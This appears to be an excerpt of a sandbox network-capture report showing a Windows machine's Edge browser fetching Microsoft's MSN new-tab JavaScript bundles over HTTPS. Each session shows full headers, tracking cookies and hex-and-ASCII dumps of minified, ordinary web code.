37 2d 37 35 65 61 66 65 36 30 31 39 32 65 2d 37 32 37 39 22 3a 22 66 38 38 35 37 64 65 64 63 36 66 35 34 63 61 Data Ascii: m":"events-sandbox.data.msn.com";return{cors:"true","content-type":"application/x-json-stream","client-id":"NO_AUTH","client-version":"1DS-Web-JS-2.2.2",apikey:i?"0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279":"f8857dedc6f54ca
2025-01-08 15:18:47 UTC	4096	IN	Data Raw: 20 58 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 6f 28 74 29 3b 69 66 28 6e 29 7b 63 6f 6e 73 74 20 74 3d 6e 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 65 29 2c 6f 3d 74 26 26 74 2e 74 6f 53 74 72 69 6e 67 28 29 3b 72 65 74 75 72 6e 20 74 26 26 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 23 65 72 72 6f 72 22 21 3d 3d 6f 3f 74 3a 28 48 28 22 55 52 4c 20 69 73 20 6e 6f 74 20 74 72 75 73 74 65 64 20 74 79 70 65 73 20 63 6f 6d 70 6c 69 61 6e 74 2e 22 2c 7a 2c 7b 63 75 73 74 6f 6d 4d 65 73 73 61 67 65 3a 22 46 61 69 6c 65 64 20 55 52 4c 20 69 73 3a 20 22 2b 65 7d 2c 42 2e 44 65 70 72 65 63 61 74 65 64 2c 21 30 29 2c 65 29 7d 72 65 74 75 72 6e 20 48 28 22 54 72 75 73 74 65 64 20 74 79 70 65 73 20 70 6f 6c 69 63 79 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c Data Ascii: X(e,t){const n=o(t);if(n){const t=n.createScriptURL(e),o=t&&t.toString();return t&&"about:blank#error"!==o?t:(H("URL is not trusted types compliant.",z,{customMessage:"Failed URL is: "+e},B.Deprecated,!0),e)}return H("Trusted types policy is not availabl
2025-01-08 15:18:47 UTC	4096	IN	Data Raw: 2c 22 77 69 6e 70 32 66 70 74 61 73 6b 62 61 72 68 6f 76 65 72 22 2c 22 77 69 6e 70 32 66 70 74 61 73 6b 62 61 72 68 6f 76 65 72 65 6e 74 22 2c 22 77 69 6e 70 32 77 69 64 67 65 74 22 2c 22 77 69 6e 70 32 77 69 64 67 65 74 65 6e 74 22 5d 29 3b 63 6f 6e 73 74 20 41 65 3d 6e 65 77 20 53 65 74 28 5b 22 66 69 6e 61 6e 63 65 2d 61 70 70 2d 77 69 6e 22 2c 22 77 65 61 74 68 65 72 2d 61 70 70 2d 77 69 6e 22 2c 22 77 69 6e 70 73 74 6f 72 65 61 70 70 22 5d 29 2c 4c 65 3d 28 6e 65 77 20 53 65 74 28 5b 22 6d 73 65 64 67 64 68 70 22 2c 22 6d 73 65 64 67 64 68 70 68 64 72 22 2c 22 6d 73 65 64 67 6e 74 70 68 64 72 22 2c 22 6d 73 65 64 67 6e 74 70 22 2c 22 6d 73 65 64 67 64 68 70 22 2c 22 65 6e 74 6e 65 77 73 6e 74 70 22 5d 29 2c 6e 65 77 20 53 65 74 28 5b 22 68 70 6d 73 Data Ascii: ,"winp2fptaskbarhover","winp2fptaskbarhoverent","winp2widget","winp2widgetent"]);const Ae=new Set(["finance-app-win","weather-app-win","winpstoreapp"]),Le=(new Set(["msedgdhp","msedgdhphdr","msedgntphdr","msedgntp","msedgdhp","entnewsntp"]),new Set(["hpms
2025-01-08 15:18:47 UTC	4096	IN	Data Raw: 3d 74 7c 7c 7b 7d 3b 72 65 74 75 72 6e 21 21 2f 73 61 66 61 72 69 2f 69 2e 74 65 73 74 28 6e 29 7d 28 29 3b 72 65 74 75 72 6e 20 74 7d 29 29 3b 63 6f 6e 73 74 20 69 74 3d 75 28 28 28 29 3d 3e 7b 63 6f 6e 73 74 20 65 3d 6a 65 28 29 3b 72 65 74 75 72 6e 20 65 26 26 22 31 22 3d 3d 3d 65 2e 67 65 74 49 74 65 6d 28 5a 65 29 7d 29 29 3b 63 6f 6e 73 74 20 72 74 3d 78 65 28 29 7c 7c 7b 7d 2c 73 74 3d 7b 6e 65 77 73 41 6e 64 49 6e 74 65 72 65 73 74 73 3a 31 2c 77 69 6e 64 6f 77 73 4e 65 77 73 50 6c 75 73 3a 31 2c 77 69 6e 57 69 64 67 65 74 73 3a 31 2c 77 69 6e 64 6f 77 73 53 68 65 6c 6c 3a 31 2c 77 69 6e 64 6f 77 73 53 68 65 6c 6c 56 32 3a 31 2c 64 69 73 74 72 69 62 75 74 69 6f 6e 3a 31 2c 73 75 70 65 72 41 70 70 3a 31 2c 63 68 61 6e 6e 65 6c 64 65 73 6b 74 6f 70 Data Ascii: =t\|\|{};return!!/safari/i.test(n)}();return t}));const it=u((()=>{const e=je();return e&&"1"===e.getItem(Ze)}));const rt=xe()\|\|{},st={newsAndInterests:1,windowsNewsPlus:1,winWidgets:1,windowsShell:1,windowsShellV2:1,distribution:1,superApp:1,channeldesktop
2025-01-08 15:18:47 UTC	4096	IN	Data Raw: 64 65 76 69 63 65 50 69 78 65 6c 52 61 74 69 6f 22 29 7d 71 73 46 72 6f 6d 53 65 72 76 69 63 65 57 6f 72 6b 65 72 28 29 7b 69 66 28 21 6e 61 76 69 67 61 74 6f 72 2e 73 65 72 76 69 63 65 57 6f 72 6b 65 72 7c 7c 21 6e 61 76 69 67 61 74 6f 72 2e 73 65 72 76 69 63 65 57 6f 72 6b 65 72 2e 63 6f 6e 74 72 6f 6c 6c 65 72 29 72 65 74 75 72 6e 22 22 3b 63 6f 6e 73 74 20 65 3d 6e 61 76 69 67 61 74 6f 72 2e 73 65 72 76 69 63 65 57 6f 72 6b 65 72 2e 63 6f 6e 74 72 6f 6c 6c 65 72 3b 69 66 28 22 61 63 74 69 76 61 74 65 64 22 21 3d 3d 65 2e 73 74 61 74 65 7c 7c 21 65 2e 73 63 72 69 70 74 55 52 4c 29 72 65 74 75 72 6e 22 22 3b 69 66 28 65 2e 73 63 72 69 70 74 55 52 4c 29 7b 63 6f 6e 73 74 20 74 3d 6e 65 77 20 55 52 4c 28 65 2e 73 63 72 69 70 74 55 52 4c 29 2e 73 65 61 72 Data Ascii: devicePixelRatio")}qsFromServiceWorker(){if(!navigator.serviceWorker\|\|!navigator.serviceWorker.controller)return"";const e=navigator.serviceWorker.controller;if("activated"!==e.state\|\|!e.scriptURL)return"";if(e.scriptURL){const t=new URL(e.scriptURL).sear

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.11.20	59980	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:47 UTC	1226	OUT	GET /bundles/v1/edgeChromium/latest/SSR-extension.489618fee28203b75117.js HTTP/1.1 Host: ntp.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" Device-Memory: 8 Origin: https://ntp.msn.com sec-ch-ua-model: rtt: 100 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "94.0.992.31" sec-ch-ua-platform-version: "10.0.0" downlink: 1.6 sec-ch-ua-bitness: "64" ect: 4g sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _C_ETH=1; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1
2025-01-08 15:18:47 UTC	1445	IN	HTTP/1.1 200 OK Cache-Control: public, no-transform, max-age=31535892 Content-Length: 38171 Content-Type: application/javascript Content-MD5: QtoymDLEcWsIYyTkYMRfnA== Last-Modified: Mon, 06 Jan 2025 21:28:59 GMT ETag: 0x8DD2E99220056FE Vary: Origin X-Cache: TCP_HIT x-ms-request-id: 6dc0b040-f01e-0098-6982-60d20e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Akamai-Request-BC: [a=184.30.41.9,b=2425255758,c=g,n=US_IL_MOUNTPROSPECT,o=20940] Server-Timing: clientrtt; dur=5, clienttt; dur=1, origin; dur=0, cdntime; dur=1, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 184.30.41.9 Akamai-Request-ID: 908e774e Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.09291eb8.1736199234.908e774e X-CID: 7 X-CCC: US Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 885056F9DE3C4BE1BB247436DF42A7F5 Ref B: CHI30EDGE0407 Ref C: 2025-01-08T15:18:47Z Date: Wed, 08 Jan 2025 15:18:46 GMT Connection: close
2025-01-08 15:18:47 UTC	14939	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 7b 7d 3b 6c 65 74 20 74 2c 6e 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 3b 63 6f 6e 73 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 69 6e 66 6f 22 29 3b 72 65 74 75 72 6e 20 6e 3d 28 28 2f 66 3a 5c 73 2a 28 5b 5e 3b 5d 2b 29 2f 69 2e 65 78 65 63 28 65 29 7c 7c 7b 7d 29 5b 31 5d 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6e 7d 65 2e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 29 72 65 74 75 72 6e 20 67 6c 6f 62 61 6c 54 68 69 73 3b 74 72 79 7b 72 65 74 75 72 6e Data Ascii: !function(){"use strict";var e={};let t,n;function o(){if(n)return n;const e=document.head.getAttribute("data-info");return n=((/f:\s*([^;]+)/i.exec(e)\|\|{})[1]\|\|"").toLowerCase(),n}e.g=function(){if("object"==typeof globalThis)return globalThis;try{return
2025-01-08 15:18:47 UTC	16384	IN	Data Raw: 66 65 72 65 72 2c 74 68 69 73 2e 75 73 65 72 41 67 65 6e 74 3d 65 2e 75 73 65 72 41 67 65 6e 74 2c 74 68 69 73 2e 63 6c 69 65 6e 74 44 61 74 61 3d 65 2e 63 6c 69 65 6e 74 44 61 74 61 2c 74 68 69 73 2e 6f 6e 65 53 65 72 76 69 63 65 48 65 61 64 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 72 79 7b 69 66 28 65 29 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 70 61 72 73 65 28 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 28 65 2e 6f 6e 65 53 65 72 76 69 63 65 48 65 61 64 65 72 73 29 7c 7c 7b 7d 2c 74 68 69 73 2e 69 73 50 73 73 72 4d 6f 64 65 3d 74 2c 74 29 7b 63 6f 6e 73 74 20 65 3d 77 65 28 22 4f 53 41 54 45 22 2c 74 68 69 73 2e 63 6f 6f 6b 69 65 29 2c 74 3d 21 21 65 26 26 22 31 22 3d 3d 3d 65 2c 6e 3d 77 65 28 22 4f 53 41 54 22 2c 74 68 69 73 2e 63 6f 6f 6b 69 65 Data Ascii: ferer,this.userAgent=e.userAgent,this.clientData=e.clientData,this.oneServiceHeaders=function(e){try{if(e)return JSON.parse(e)}catch(e){}}(e.oneServiceHeaders)\|\|{},this.isPssrMode=t,t){const e=we("OSATE",this.cookie),t=!!e&&"1"===e,n=we("OSAT",this.cookie
2025-01-08 15:18:47 UTC	6848	IN	Data Raw: 3d 3d 28 6d 3d 6d 2e 73 68 61 64 6f 77 52 6f 6f 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6d 7c 7c 6e 75 6c 6c 3d 3d 3d 28 6d 3d 6d 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 63 73 2d 63 61 72 64 22 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6d 3f 76 6f 69 64 20 30 3a 6d 2e 6f 75 74 65 72 48 54 4d 4c 29 7c 7c 22 22 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 5f 28 22 41 64 20 72 65 6e 64 65 72 20 64 6f 65 73 6e 27 74 20 6d 61 74 63 68 20 73 73 72 20 61 64 20 64 61 74 61 22 2c 32 30 31 39 33 2c 7b 72 65 6e 64 65 72 65 64 43 61 72 64 54 61 67 73 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 73 29 2c 61 64 44 61 74 61 49 64 3a 65 2e 69 64 2c 72 65 6e 64 65 72 65 64 49 64 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 61 29 7d 29 7d 7d 77 69 6e 64 6f 77 2e 61 64 Data Ascii: ==(m=m.shadowRoot)\|\|void 0===m\|\|null===(m=m.querySelector("cs-card"))\|\|void 0===m?void 0:m.outerHTML)\|\|"";return void _("Ad render doesn't match ssr ad data",20193,{renderedCardTags:JSON.stringify(s),adDataId:e.id,renderedId:JSON.stringify(a)})}}window.ad

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.11.20	61907	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:47 UTC	1201	OUT	GET /bundles/v1/edgeChromium/latest/web-worker.b60625d95d09d3873a85.js HTTP/1.1 Host: ntp.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" Device-Memory: 8 sec-ch-ua-model: rtt: 100 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "94.0.992.31" sec-ch-ua-platform-version: "10.0.0" downlink: 1.6 sec-ch-ua-bitness: "64" ect: 4g sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _C_ETH=1; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1
2025-01-08 15:18:47 UTC	1361	IN	HTTP/1.1 200 OK Cache-Control: public, no-transform, max-age=31535892 Content-Length: 31123 Content-Type: application/javascript Content-MD5: SFxWcPYkM4RliO7vP5q6KA== Last-Modified: Fri, 03 Jan 2025 21:01:14 GMT ETag: 0x8DD2C39C29775BC Vary: Origin X-Cache: TCP_HIT x-ms-request-id: de2ad4ce-c01e-006b-7c22-5e3c89000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Akamai-Request-BC: [a=23.218.248.207,b=3049109776,c=g,n=US_IL_MOUNTPROSPECT,o=20940] Server-Timing: clientrtt; dur=4, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.218.248.207 Akamai-Request-ID: b5bdb910 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.cff8da17.1735940001.b5bdb910 X-CID: 7 X-CCC: US Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C1E3F0028E194A84B0D92737A448E8E3 Ref B: CHI30EDGE0212 Ref C: 2025-01-08T15:18:47Z Date: Wed, 08 Jan 2025 15:18:47 GMT Connection: close
2025-01-08 15:18:47 UTC	15023	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 29 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 29 64 65 66 69 6e 65 28 5b 5d 2c 74 29 3b 65 6c 73 65 7b 76 61 72 20 72 3d 74 28 29 3b 66 6f 72 28 76 61 72 20 69 20 69 6e 20 72 29 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 3a 65 29 5b 69 5d 3d 72 5b 69 5d 7d 7d 28 73 65 6c 66 2c 28 28 29 3d 3e 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 Data Ascii: !function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var r=t();for(var i in r)("object"==typeof exports?exports:e)[i]=r[i]}}(self,(()=>(()=>{"use strict";var
2025-01-08 15:18:48 UTC	16100	IN	Data Raw: 65 72 28 22 64 65 76 69 63 65 50 69 78 65 6c 52 61 74 69 6f 22 29 29 7c 7c 31 2c 74 68 69 73 2e 5f 65 63 61 73 65 73 73 69 6f 6e 3d 74 68 69 73 2e 67 65 74 51 75 65 72 79 50 61 72 61 6d 65 74 65 72 28 22 65 63 61 73 65 73 73 69 6f 6e 22 29 7c 7c 22 69 6e 69 74 22 2c 74 68 69 73 2e 5f 62 72 6f 77 73 65 72 4f 70 74 4f 75 74 3d 22 31 22 3d 3d 3d 74 68 69 73 2e 67 65 74 51 75 65 72 79 50 61 72 61 6d 65 74 65 72 28 22 54 4f 70 74 4f 75 74 22 29 2c 74 68 69 73 2e 5f 64 69 73 61 62 6c 65 57 57 41 75 74 68 3d 22 31 22 3d 3d 3d 74 68 69 73 2e 67 65 74 51 75 65 72 79 50 61 72 61 6d 65 74 65 72 28 22 64 69 73 61 62 6c 65 57 57 41 75 74 68 22 29 2c 74 68 69 73 2e 5f 61 75 74 68 48 65 61 64 65 72 73 3d 74 68 69 73 2e 74 72 79 50 61 72 73 65 4a 73 6f 6e 28 74 68 69 73 Data Ascii: er("devicePixelRatio"))\|\|1,this._ecasession=this.getQueryParameter("ecasession")\|\|"init",this._browserOptOut="1"===this.getQueryParameter("TOptOut"),this._disableWWAuth="1"===this.getQueryParameter("disableWWAuth"),this._authHeaders=this.tryParseJson(this

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.11.20	52275	23.33.85.196	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:48 UTC	616	OUT	GET /bundles/v1/edgeChromium/latest/vendors.80e71276f1bec5cb9e6b.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:48 UTC	1247	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: VRff421ljxi2HJNBEW61bQ== Last-Modified: Tue, 07 Jan 2025 21:00:23 GMT ETag: 0x8DD2F5E4DF24BF2 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 4c08f139-901e-006a-3247-612a47000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Wed, 08 Jan 2025 15:18:48 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.45.126.202,b=1772743713,c=g,n=US_IL_MOUNTPROSPECT,o=20940] Server-Timing: clientrtt; dur=119, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.45.126.202 Akamai-Request-ID: 69a9ec21 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.ca7e2d17.1736349528.69a9ec21 Vary: Origin
2025-01-08 15:18:48 UTC	15137	IN	Data Raw: 30 30 30 30 42 44 30 32 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 73 2e 38 30 65 37 31 32 37 36 66 31 62 65 63 35 63 62 39 65 36 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 22 5d 2c 7b 37 33 30 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 74 2e 65 78 70 6f 72 74 73 3d 65 2c 74 2e 65 78 70 6f 72 74 73 2e 48 74 74 70 73 41 67 65 6e 74 3d 65 7d 2c 31 33 30 31 Data Ascii: 0000BD02/! For license information please see vendors.80e71276f1bec5cb9e6b.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["vendors"],{73040:function(t){function e(){}t.exports=e,t.exports.HttpsAgent=e},1301
2025-01-08 15:18:48 UTC	16271	IN	Data Raw: 20 6d 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5c 5c 64 7b 34 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 34 2b 65 29 2b 22 7d 29 7c 28 5c 5c 64 7b 32 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 32 2b 65 29 2b 22 7d 29 24 29 22 29 2c 72 3d 74 2e 6d 61 74 63 68 28 6e 29 3b 69 66 28 21 72 29 72 65 74 75 72 6e 7b 79 65 61 72 3a 4e 61 4e 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 22 22 7d 3b 76 61 72 20 69 3d 72 5b 31 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 31 5d 29 3a 6e 75 6c 6c 2c 6f 3d 72 5b 32 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 32 5d 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 7b 79 65 61 72 3a 6e 75 6c 6c 3d 3d 3d 6f 3f 69 3a 31 30 30 2a 6f 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a Data Ascii: m=function(t,e){var n=new RegExp("^(?:(\\d{4}\|[+-]\\d{"+(4+e)+"})\|(\\d{2}\|[+-]\\d{"+(2+e)+"})$)"),r=t.match(n);if(!r)return{year:NaN,restDateString:""};var i=r[1]?parseInt(r[1]):null,o=r[2]?parseInt(r[2]):null;return{year:null===o?i:100*o,restDateString:
2025-01-08 15:18:48 UTC	16384	IN	Data Raw: 2e 43 55 53 54 4f 4d 5f 45 4c 45 4d 45 4e 54 5f 48 41 4e 44 4c 49 4e 47 26 26 64 65 28 65 2e 43 55 53 54 4f 4d 5f 45 4c 45 4d 45 4e 54 5f 48 41 4e 44 4c 49 4e 47 2e 61 74 74 72 69 62 75 74 65 4e 61 6d 65 43 68 65 63 6b 29 26 26 28 5f 74 2e 61 74 74 72 69 62 75 74 65 4e 61 6d 65 43 68 65 63 6b 3d 65 2e 43 55 53 54 4f 4d 5f 45 4c 45 4d 45 4e 54 5f 48 41 4e 44 4c 49 4e 47 2e 61 74 74 72 69 62 75 74 65 4e 61 6d 65 43 68 65 63 6b 29 2c 65 2e 43 55 53 54 4f 4d 5f 45 4c 45 4d 45 4e 54 5f 48 41 4e 44 4c 49 4e 47 26 26 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 65 2e 43 55 53 54 4f 4d 5f 45 4c 45 4d 45 4e 54 5f 48 41 4e 44 4c 49 4e 47 2e 61 6c 6c 6f 77 43 75 73 74 6f 6d 69 7a 65 64 42 75 69 6c 74 49 6e 45 6c 65 6d 65 6e 74 73 26 26 28 5f 74 2e 61 6c 6c Data Ascii: .CUSTOM_ELEMENT_HANDLING&&de(e.CUSTOM_ELEMENT_HANDLING.attributeNameCheck)&&(_t.attributeNameCheck=e.CUSTOM_ELEMENT_HANDLING.attributeNameCheck),e.CUSTOM_ELEMENT_HANDLING&&"boolean"==typeof e.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements&&(_t.all
2025-01-08 15:18:48 UTC	606	IN	Data Raw: 75 6c 6c 22 21 3d 74 79 70 65 6f 66 20 65 26 26 28 65 3d 74 29 2c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 3d 6e 26 26 28 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 5b 65 5d 7d 29 2c 5b 74 2c 65 5d 7d 28 74 2c 65 29 29 7d 2c 41 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 65 3d 6e 65 77 20 41 72 72 61 79 28 74 29 2c 6e 3d 30 3b 6e 3c 74 3b 6e 2b 2b 29 65 5b 6e 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 74 2e 61 70 70 6c 79 28 76 6f 69 64 20 30 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 6e 2e 73 75 62 73 70 61 63 65 4f 70 74 Data Ascii: ull"!=typeof e&&(e=t),"function"!==n&&(t=function(t){return t[e]}),[t,e]}(t,e))},A=function(){for(var t=arguments.length,e=new Array(t),n=0;n<t;n++)e[n]=arguments[n];return function(t){return function(){var n=t.apply(void 0,arguments);return n.subspaceOpt
